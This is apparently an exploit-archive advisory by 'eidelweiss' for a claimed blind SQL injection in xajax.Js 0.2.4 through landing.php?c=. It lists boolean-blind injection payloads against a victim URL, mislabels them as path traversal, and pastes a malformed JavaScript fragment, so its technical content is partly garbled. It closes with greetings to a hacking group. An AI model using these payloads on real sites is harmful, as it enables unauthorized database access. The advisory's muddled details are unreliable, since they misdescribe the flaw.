xajax.Js v0.2.4 (landing.php c) Blind SQL Injection Vulnerability

#################################################################################################
### #
### error included in xajax.Js version 0.2.4 (landing.php?c=) with SQL Injection #
### #
#################################################################################################
### #
### #
### find at: 01-02-2010 #
### Author : eidelweiss #
### Website: http://yogyacarderlink.web.id #
### Contact: g1xsystem [at] windowslive [dot] com #
### #
################################################# #
################################################# #
### Application Info: # #
### Name: xajax.Js version 0.2.4 # #
### Vendor: - # #
################################################# #
################################################# #
### Path Traversal: # #
### landing.php?c=-2 and 1=0-- # #
### landing.php?c=-2 and 1=1-- # #
################################################# #
################################################# #
### #
### var xajaxRequestUri="http://www.victim.com/landing.php?c=-2%20and%201=0--"; #
### var xajaxDebug=false; #
### var xajaxStatusMessages=false; #
### var xajaxWaitCursor=true; #
### var xajaxDefinedGet=0; #
### var xajaxDefinedPost=1; #
### var xajaxLoaded=false; #
### function xajax_archiveSelect(){return xajax.call("archiveSelect", arguments, 1);} #
### function () if (!xajaxLoaded) #
### { alert('Error: the xajax Javascript file could not be included. #
### Perhaps the URL is incorrect?\nURL: xajax_js/xajax.js'); } }, 6000); #
### #
#################################################################################################
#################################################################################################
#################################################################################################
### ###################################
### Greetz : AL-MARHUM - YOGYACARDERLINK TEAM - (D)eal(C)yber ###################################
### ###################################
#################################################################################################
#################################################################################################